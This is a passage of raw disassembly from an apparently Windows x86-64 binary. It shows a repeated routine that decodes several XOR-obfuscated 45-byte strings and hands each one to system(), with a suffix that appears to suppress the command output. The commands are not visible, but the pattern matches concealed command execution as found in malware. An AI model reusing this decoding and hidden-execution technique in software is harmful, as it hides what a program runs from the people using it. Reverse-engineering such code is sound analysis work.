andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e5b0
cmp r8d, 0x2d
jge 0x14003e6e0
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e6b0
mov r8, r10
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x840]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x820]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x5f0]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x800]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x800]
call fcn.140071c30
nop
lea rcx, [rbp + 0x5f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x820]
call fcn.140071c30
nop
lea rcx, [rbp + 0x840]
call fcn.140071c30
nop
lea rcx, [rbp + 0x860]
call fcn.140071c30
nop
lea rcx, [rbp + 0x880]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x920]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x900]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f6b68]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [0x1400f6b78]
movups xmmword [rbp + 0x140], xmm1
movsd xmm0, qword [0x1400f6b88]
movsd qword [rbp + 0x150], xmm0
mov ecx, dword [0x1400f6b90]
mov dword [rbp + 0x158], ecx
movzx eax, byte [0x1400f6b94]
mov byte [rbp + 0x15c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003e91b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x134]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003e830
cmp r8d, 0x2d
jge 0x14003e960
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003e930
mov r8, r10
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x8e0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x8c0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x630]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x8a0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x8a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x630]
call fcn.140071c30
nop
lea rcx, [rbp + 0x8c0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x8e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x900]
call fcn.140071c30
nop
lea rcx, [rbp + 0x920]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x9c0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x9a0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f67a0]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [0x1400f67b0]
movups xmmword [rbp + 0x110], xmm1
movsd xmm0, qword [0x1400f67c0]
movsd qword [rbp + 0x120], xmm0
mov ecx, dword [0x1400f67c8]
mov dword [rbp + 0x128], ecx
movzx eax, byte [0x1400f67cc]
mov byte [rbp + 0x12c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003eb9b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x104]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003eab0
cmp r8d, 0x2d
jge 0x14003ebe0
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003ebb0
mov r8, r10
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x980]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x960]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x650]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x940]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x940]
call fcn.140071c30
nop
lea rcx, [rbp + 0x650]
call fcn.140071c30
nop
lea rcx, [rbp + 0x960]
call fcn.140071c30
nop
lea rcx, [rbp + 0x980]
call fcn.140071c30
nop
lea rcx, [rbp + 0x9a0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x9c0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xa60]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xa40]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f8f60]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1400f8f70]
movups xmmword [rbp + 0xe0], xmm1
movsd xmm0, qword [0x1400f8f80]
movsd qword [rbp + 0xf0], xmm0
mov ecx, dword [0x1400f8f88]
mov dword [rbp + 0xf8], ecx
movzx eax, byte [0x1400f8f8c]
mov byte [rbp + 0xfc], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003ee1b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0xd4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003ed30
cmp r8d, 0x2d
jge 0x14003ee60
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003ee30
mov r8, r10
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xa20]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xa00]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x670]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x9e0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x9e0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x670]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa00]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa20]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa40]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa60]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xb00]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xae0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f61a0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1400f61b0]
movups xmmword [rbp + 0xb0], xmm1
movsd xmm0, qword [0x1400f61c0]
movsd qword [rbp + 0xc0], xmm0
mov ecx, dword [0x1400f61c8]
mov dword [rbp + 0xc8], ecx
movzx eax, byte [0x1400f61cc]
mov byte [rbp + 0xcc], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003f09b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0xa4]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003efb0
cmp r8d, 0x2d
jge 0x14003f0e0
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f0b0
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xac0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xaa0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x690]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0xa80]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xa80]
call fcn.140071c30
nop
lea rcx, [rbp + 0x690]
call fcn.140071c30
nop
lea rcx, [rbp + 0xaa0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xac0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xae0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb00]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xba0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xb80]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f8e88]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x1400f8e98]
movups xmmword [rbp + 0x80], xmm1
movsd xmm0, qword [0x1400f8ea8]
movsd qword [rbp + 0x90], xmm0
mov ecx, dword [0x1400f8eb0]
mov dword [rbp + 0x98], ecx
movzx eax, byte [0x1400f8eb4]
mov byte [rbp + 0x9c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003f31b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x74]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f230
cmp r8d, 0x2d
jge 0x14003f360
movsxd rax, r8d
lea r9, [rbp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f330
mov r8, r10
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xb60]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xb40]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x430]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0xb20]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xb20]
call fcn.140071c30
nop
lea rcx, [rbp + 0x430]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb40]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb60]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb80]
call fcn.140071c30
nop
lea rcx, [rbp + 0xba0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xc40]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xc20]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f60a0]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1400f60b0]
movups xmmword [rbp + 0x50], xmm1
movsd xmm0, qword [0x1400f60c0]
movsd qword [rbp + 0x60], xmm0
mov ecx, dword [str.A.YDe]
mov dword [rbp + 0x68], ecx
movzx eax, byte [0x1400f60cc]
mov byte [rbp + 0x6c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003f58b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x44]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f4a0
cmp r8d, 0x2d
jge 0x14003f5d0
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f5a0
mov r8, r10
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xc00]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xbe0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x450]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0xbc0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xbc0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x450]
call fcn.140071c30
nop
lea rcx, [rbp + 0xbe0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc00]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc20]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc40]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xce0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xcc0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f6ab0]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400f6ac0]
movups xmmword [rbp + 0x20], xmm1
movsd xmm0, qword [0x1400f6ad0]
movsd qword [rbp + 0x30], xmm0
mov ecx, dword [0x1400f6ad8]
mov dword [rbp + 0x38], ecx
movzx eax, byte [0x1400f6adc]
mov byte [rbp + 0x3c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003f7fb
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f710
cmp r8d, 0x2d
jge 0x14003f840
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f810
mov r8, r10
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xca0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xc80]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 0x3780]
lea rcx, [rbp + 0x470]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0xc60]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc60]
call fcn.140071c30
nop
lea rcx, [rbp + 0x470]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc80]
call fcn.140071c30
nop
lea rcx, [rbp + 0xca0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xcc0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xce0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xd80]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xd60]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f9430]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400f9440]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1400f9450]
movsd qword [rbp], xmm0
mov ecx, dword [str.A_YDe]
mov dword [rbp + 8], ecx
movzx eax, byte [0x1400f945c]
mov byte [rbp + 0xc], al
mov r8d, r14d
cmp r15d, 2
jl 0x14003fa6b
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f980
cmp r8d, 0x2d
jge 0x14003fab0
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
